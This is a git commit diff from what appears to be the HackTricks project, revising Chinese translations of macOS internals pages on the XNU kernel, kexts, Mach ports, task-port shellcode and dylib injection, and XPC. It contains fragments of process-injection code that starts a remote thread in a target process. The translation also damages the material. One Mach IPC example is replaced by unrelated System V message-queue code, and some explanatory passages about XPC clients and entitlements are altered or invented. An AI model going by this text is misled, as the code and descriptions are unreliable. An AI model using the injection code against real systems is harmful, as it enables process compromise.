Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'macos-ha

This commit is contained in:
Translator 2023-09-14 00:00:07 +00:00
parent bf0255e9b5
commit 360a3603d7
9 changed files with 1335 additions and 522 deletions

View file

@ -142,6 +142,7 @@
* [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md)
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
* [Introduction to x64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md)
* [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
@ -177,6 +178,7 @@
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md)
* [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md)
* [macOS Dangerous Entitlements](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
* [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
* [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md)
* [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md)

File diff suppressed because it is too large Load diff

View file

@ -1,12 +1,12 @@
# macOS内核
# macOS内核和系统扩展
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
@ -14,19 +14,21 @@
## XNU内核
**macOS的核心是XNU**,它代表着"X is Not Unix"。这个内核基本上由**Mach微内核**稍后将讨论和来自Berkeley Software Distribution**BSD**的元素组成。XNU还通过一个名为I/O Kit的系统为**内核驱动程序提供平台**。XNU内核是Darwin开源项目的一部分,这意味着**它的源代码是免费可访问的**。
**macOS的核心是XNU**,它代表着"X不是Unix"。这个内核基本上由**Mach微内核**稍后将讨论和来自Berkeley Software Distribution**BSD**的元素组成。XNU还通过一个名为I/O Kit的系统提供了一个用于**内核驱动程序**的平台。XNU内核是达尔文开源项目的一部分,这意味着**它的源代码是免费可访问的**。
从安全研究人员或Unix开发人员的角度来看**macOS**可能会感觉非常**类似**于一个带有优雅GUI和许多自定义应用程序的**FreeBSD**系统。大多数为BSD开发的应用程序在macOS上编译和运行时不需要修改因为Unix用户熟悉的命令行工具在macOS上都存在。然而由于XNU内核包含了Mach传统的类Unix系统和macOS之间存在一些重要的差异这些差异可能会导致潜在的问题或提供独特的优势。
XNU的开源版本[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach是一个**微内核**,旨在**UNIX兼容**。它的一个关键设计原则是**最小化**在**内核**空间中运行的**代码**量而是允许许多典型的内核功能如文件系统、网络和I/O作为用户级任务运行。
Mach是一个设计为**与UNIX兼容**的**微内核**。它的一个关键设计原则是**最小化**在**内核**空间中运行的**代码**量而是允许许多典型的内核功能如文件系统、网络和I/O作为用户级任务运行。
在XNU中Mach负责许多典型内核操作,如处理器调度、多任务处理和虚拟内存管理。
在XNU中Mach负责许多典型内核处理的关键低级操作,如处理器调度、多任务处理和虚拟内存管理。
### BSD
XNU内核还**整合了**大量来自**FreeBSD**项目的代码。这些代码与Mach一起在同一地址空间中作为内核的一部分运行。然而XNU内的FreeBSD代码可能与原始的FreeBSD代码有很大的不同因为需要对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出了贡献包括
XNU内核还**整合了**大量来自**FreeBSD**项目的代码。这些代码与Mach一起在内核中运行位于同一地址空间中。然而XNU中的FreeBSD代码可能与原始的FreeBSD代码有很大的不同因为需要对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出了贡献包括
* 进程管理
* 信号处理
@ -41,12 +43,12 @@ XNU内核还**整合了**大量来自**FreeBSD**项目的代码。这些代码
### I/O Kit - 驱动程序
I/O Kit是XNU内核中的开源、面向对象的**设备驱动程序框架**,负责添加和管理**动态加载的设备驱动程序**。这些驱动程序允许将模块化代码动态添加到内核中,以便与不同的硬件一起使用。它们位于:
I/O Kit是XNU内核中的开源、面向对象的**设备驱动程序框架**,负责添加和管理**动态加载的设备驱动程序**。这些驱动程序允许将模块化代码动态添加到内核中,以便与不同的硬件一起使用。它们位于以下位置
* `/System/Library/Extensions`
* 内置于OS X操作系统的KEXT文件。
* 内置于OS X操作系统的KEXT文件。
* `/Library/Extensions`
* 第三方软件安装的KEXT文件
* 第三方软件安装的KEXT文件
```bash
#Use kextstat to print the loaded drivers
kextstat
@ -64,9 +66,9 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
直到数字9列出的驱动程序**在地址0加载**。这意味着它们不是真正的驱动程序,而是**内核的一部分,无法卸载**。
直到数字9列出的驱动程序**在地址0加载**。这意味着它们不是真正的驱动程序,**它们是内核的一部分,无法卸载**。
要查找特定的扩展,可以使用:
要查找特定的扩展,可以使用:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
@ -92,7 +94,7 @@ kextunload com.apple.iokit.IOReportFamily
### macOS系统扩展
macOS创建了系统扩展而不是使用内核扩展它提供了用户级API与内核进行交互。这样开发人员可以避免使用内核扩展。
macOS创建了系统扩展来替代内核扩展它提供了用户级别的API与内核进行交互。开发人员可以通过使用系统扩展来避免使用内核扩展。
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
@ -109,8 +111,8 @@ macOS创建了系统扩展而不是使用内核扩展它提供了用户级
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -20,18 +20,18 @@ Mach使用**任务task**作为共享资源的**最小单位**,每个任
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有:
* **接收权限**允许接收发送到端口的消息。Mach端口是MPSC多生产者单消费者队列这意味着整个系统中可能只有**一个接收权限与每个端口**相关联(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
* **接收权限**允许接收发送到端口的消息。Mach端口是MPSC多生产者单消费者队列这意味着整个系统中每个端口只能有**一个接收权限**(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
* 具有**接收权限的任务**可以接收消息并**创建发送权限**,从而可以发送消息。最初,**只有自己的任务对其端口具有接收权限**。
* **发送权限**,允许向端口发送消息。
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
* **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
* **死**,不是实际的端口权限,只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名
* **死名**,不是实际的端口权限,只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名。
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆,因此一个任务可以复制并将权限给第三个任务**。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
#### 步骤:
正如前面提到的,为了建立通信通道,涉及到**引导服务器**mac中的**launchd**)。
正如提到的,为了建立通信通道,涉及到**引导服务器**mac中的**launchd**)。
1. 任务**A**初始化一个**新的端口**,在此过程中获得一个**接收权限**。
2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。
@ -41,16 +41,16 @@ Mach使用**任务task**作为共享资源的**最小单位**,每个任
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。
然后Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。对于每个服务名称,还存储了**关联的二进制文件**。引导服务器将为这些预定义服务**创建并持有每个服务名称的接收权限**。
然后Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。
对于这些预定义服务,**查找过程有不同**。当查找服务名称时launchd会动态启动服务。新的工作流程如下
对于这些预定义服务,**查找过程有不同**。当查找服务名称时launchd会动态启动服务。新的工作流程如下
* 任务**B**启动服务名称的引导**查找**。
* 任务**B**为服务名称**发起引导查找**。
* **launchd**检查任务是否正在运行,如果没有,则**启动**它。
* 任务**A**(服务)执行引导**签入**。在这里,引导服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
* 任务**A**(服务)执行**引导签入**。在这里,**引导**服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
* launchd复制**发送权限并将其发送给任务B**。
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
然而,过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
### 代码示例
请注意,**发送方**在分配一个端口后,为名称`org.darlinghq.example`创建了一个**发送权限**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权限**并使用它来**发送消息**。
@ -129,39 +129,41 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/message.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define BUFFER_SIZE 1024
#define MAX_TEXT 512
int main(int argc, char** argv) {
mach_port_t server_port;
kern_return_t kr;
char buffer[BUFFER_SIZE];
struct msgbuf {
long mtype;
char mtext[MAX_TEXT];
};
// Connect to the server port
kr = task_get_special_port(mach_task_self(), TASK_AUDIT_PORT, &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to get server port: %s\n", mach_error_string(kr));
return 1;
int main() {
int msgid;
struct msgbuf msg;
// Create a message queue
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
if (msgid == -1) {
perror("msgget failed");
exit(EXIT_FAILURE);
}
// Create a message
mach_msg_header_t* msg = (mach_msg_header_t*)buffer;
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg->msgh_size = sizeof(buffer);
msg->msgh_remote_port = server_port;
msg->msgh_local_port = MACH_PORT_NULL;
msg->msgh_reserved = 0;
// Set the message type
msg.mtype = 1;
// Set the message text
strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);
// Send the message
kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("Failed to send message: %s\n", mach_error_string(kr));
return 1;
if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
perror("msgsnd failed");
exit(EXIT_FAILURE);
}
printf("Message sent successfully\n");
printf("Message sent: %s\n", msg.mtext);
return 0;
}
@ -230,14 +232,14 @@ printf("Sent a message\n");
* **主机特权端口**:具有对该端口的**发送**权限的进程可以执行**特权操作**,如加载内核扩展。该进程需要是**root**才能获得此权限。
* 此外,为了调用**`kext_request`** API需要具有**`com.apple.private.kext`**的授权该授权仅提供给Apple二进制文件。
* **任务名称端口**_任务端口_的非特权版本。它引用了任务但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。
* **任务端口**又名内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**期间**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为特殊情况,任务在`exec()`一个suid二进制文件后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
* **任务端口**也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**跨越继承;使用`fork()`创建的新任务会获得一个新的任务端口作为特殊情况suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
* 这些是访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`
* 如果应用具有**`com.apple.security.get-task-allow`授权**,来自**同一用户的进程可以访问任务端口**通常由Xcode用于调试。**公证**过程不允许将其用于生产版本。
* 具有**`com.apple.system-task-ports`授权**的应用可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
* **Root可以访问未使用强化运行时编译**的应用程序的任务端口(而且不是来自Apple
* **Root可以访问**未使用**强化**运行时编译的应用程序的任务端口(也不是来自Apple
### 通过任务端口注入Shellcode
### 通过任务端口进行Shellcode进程注入
您可以从以下位置获取Shellcode
@ -260,28 +262,7 @@ NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
return 0;
}
```
{% tab title="entitlements.plist" %}
## entitlements.plist
The `entitlements.plist` file is a property list file used in macOS to specify the entitlements of an application. Entitlements are a set of privileges and permissions that determine what actions an application can perform on the system.
The `entitlements.plist` file contains a list of key-value pairs that define the entitlements for an application. Each key represents a specific entitlement, and the corresponding value specifies the level of access or permission granted to the application.
Some common entitlements include:
- `com.apple.security.app-sandbox`: Specifies whether the application is sandboxed, which restricts its access to certain system resources.
- `com.apple.security.network.client`: Grants the application permission to make network connections.
- `com.apple.security.files.user-selected.read-write`: Allows the application to read and write files selected by the user.
- `com.apple.security.device.usb`: Enables the application to interact with USB devices.
To modify the entitlements of an application, you can edit the `entitlements.plist` file using a text editor or the `codesign` command-line tool. However, keep in mind that modifying entitlements may have security implications and should be done carefully.
It's important to note that entitlements are checked by the system at runtime, so modifying the `entitlements.plist` file alone may not be sufficient to bypass security restrictions. Other security mechanisms, such as code signing and sandboxing, may also be in place to prevent unauthorized access.
For more information on entitlements and how to use them, refer to the Apple Developer documentation.
{% endtab %}
{% tab title="entitlements.plist" %}权限清单.plist
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
@ -464,11 +445,11 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
在macOS中线程可以通过Mach或使用posix `pthread` api进行操作。我们在前面的注入中生成的线程是使用Mach api生成的因此它不符合posix规范。
我们可以注入一个简单的shellcode来执行命令因为它不需要使用符合posix规范的api只需要使用Mach。更复杂的注入需要线程也符合posix规范。
之前我们能够注入一个简单的shellcode来执行命令因为它不需要使用符合posix规范的api只需要使用Mach。更复杂的注入需要线程也符合posix规范。
因此为了改进shellcode它应该调用`pthread_create_from_mach_thread`来创建一个有效的pthread。然后这个新的pthread可以调用dlopen从系统中加载我们的dylib。
你可以在(例如生成日志然后可以监听它的示例dylibs中找到示例dylibs
你可以在(例如生成一个日志然后可以监听它的中找到示例dylibs
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
@ -700,19 +681,20 @@ memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
//remoteStack64 -= 8; // 需要 16 字节对齐
const char* p = (const char*) remoteCode64;
const char *p = (const char *)remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
printf("远程堆栈 64 0x%llx远程代码为 %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS) {
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
return (-3);
}
@ -720,7 +702,7 @@ if (kr != KERN_SUCCESS) {
return (0);
}
int main(int argc, const char * argv[])
int main(int argc, const char *argv[])
{
if (argc < 3)
{
@ -734,7 +716,8 @@ const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
if (rc == 0)
inject(pid, action);
else
{
fprintf(stderr, "找不到 dylib\n");
@ -756,7 +739,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
### 基本信息
XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上不同进程之间进行安全、异步方法调用的机制。它是苹果安全范式的一部分,允许创建权限分离的应用程序,其中每个组件仅以执行其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范式的一部分允许创建权限分离的应用程序其中每个组件仅以执行其工作所需的权限运行从而限制了受损进程可能造成的潜在损害。
XPC使用一种称为进程间通信IPC的方法用于在同一系统上运行的不同程序之间发送数据。
@ -772,17 +755,17 @@ XPC的主要优点包括
### 应用程序特定的XPC服务
应用程序的XPC组件位于**应用程序本身内部**。例如在Safari中您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是**bundles**,其中包含主二进制文件:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`
应用程序的XPC组件位于**应用程序本身内部**。例如在Safari中您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是**包**,其中包含主二进制文件:**`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`**
正如您可能想到的,**XPC组件将具有不同的授权和权限**与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下XPC服务将在与调用它的应用程序相同的安全会话中运行。
正如您可能想到的,**XPC组件将具有不同的授权和权限**与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下XPC服务将在与调用它的应用程序相同的安全会话中运行。
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能由应用程序使用**,从而降低了与潜在漏洞相关的风险。
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能被应用程序利用**,从而降低了与潜在漏洞相关的风险。
### 系统范围的XPC服务
系统范围的XPC服务对所有用户都可访问。这些服务可以是launchd或Mach类型需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
系统范围的XPC服务对所有用户都可访问。这些服务可以是launchd或Mach类型需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
这些plist文件将具有一个名为**`MachServices`**的键,其中包含服务的名称,以及一个名为**`Program`**的键,其中包含二进制文件的路径:
这些plist文件将具有一个名为**`MachServices`**的键,其值为服务的名称,以及一个名为**`Program`**的键,其值为二进制文件的路径:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -824,7 +807,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
### XPC连接进程检查
当一个进程尝试通过XPC连接调用一个方法时XPC服务应该检查该进程是否被允许连接。以下是检查的常见方式和常见陷阱
当一个进程尝试通过XPC连接调用一个方法时**XPC服务应该检查该进程是否被允许连接**。以下是检查的常见方式和常见陷阱:
{% content-ref url="macos-xpc-connecting-process-check.md" %}
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
@ -832,7 +815,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
### XPC授权
Apple还允许应用程序**配置一些权限以及如何获取这些权限**因此如果调用进程具有这些权限它将被允许调用XPC服务的方法
Apple还允许应用程序**配置一些权限以及如何获取这些权限**,因此如果调用进程具有这些权限,它将被**允许调用XPC服务的方法**
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
@ -922,21 +905,9 @@ int main(int argc, const char * argv[]) {
}
```
这是一个简单的XPC客户端示例它连接到名为"com.apple.securityd"的Mach服务并接收来自该服务的事件。当收到事件时它会打印事件的描述信息。
{% endtab %}
要编译此代码,您需要在命令行中使用以下命令:
```bash
clang -o xpc_client xpc_client.c -lxpc
```
然后,您可以运行生成的可执行文件:
```bash
./xpc_client
```
请注意此示例需要在具有足够权限的环境中运行因为它连接到了一个特权的Mach服务。
{% tab title="xpc_server.c" %}
```c
// gcc xpc_client.c -o xpc_client
@ -965,7 +936,7 @@ dispatch_main();
return 0;
}
```
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在macOS中服务是一种后台进程可以在系统启动时自动启动并在后台运行。通过编辑和配置xyz.hacktricks.service.plist文件可以对服务进行自定义设置和管理
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在这个文件中,你可以指定服务的执行路径、环境变量和启动参数。你还可以设置服务的启动顺序和依赖关系。通过编辑这个文件,你可以定制和管理系统中的服务
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -1060,7 +1031,9 @@ listener.delegate = delegate;
sleep(10); // Fake something is done and then it ends
}
```
{% tab title="oc_xpc_client.m" %}oc_xpc_client.m文件
{% tab title="oc_xpc_client.m" %}
## oc_xpc_client.m
```objective-c
#import <Foundation/Foundation.h>
@ -1074,7 +1047,7 @@ int main(int argc, const char * argv[]) {
if (type == XPC_TYPE_DICTIONARY) {
const char *description = xpc_dictionary_get_string(event, "description");
if (description) {
printf("%s\n", description);
printf("Received event: %s\n", description);
}
}
});
@ -1085,9 +1058,37 @@ int main(int argc, const char * argv[]) {
}
```
这是一个使用Objective-C编写的文件用于创建一个XPC客户端连接到`com.apple.securityd`服务。它使用`xpc_connection_create_mach_service`函数创建一个特权的Mach服务连接并使用`xpc_connection_set_event_handler`函数设置一个事件处理程序。当接收到事件时,它会检查事件的类型是否为字典类型,并获取字典中的"description"键对应的字符串,并将其打印出来。最后,它通过调用`dispatch_main`函数来保持程序的运行。
### Description
该文件可以用于在macOS系统中进行进程间通信IPC和特权升级的研究和开发。
This Objective-C code demonstrates how to create an XPC client that communicates with the `com.apple.securityd` Mach service. XPC (Inter-Process Communication) is a mechanism for communication between processes in macOS.
The code creates an XPC connection using `xpc_connection_create_mach_service` and specifies the target Mach service as `com.apple.securityd`. The `XPC_CONNECTION_MACH_SERVICE_PRIVILEGED` flag is used to indicate that the connection should be privileged.
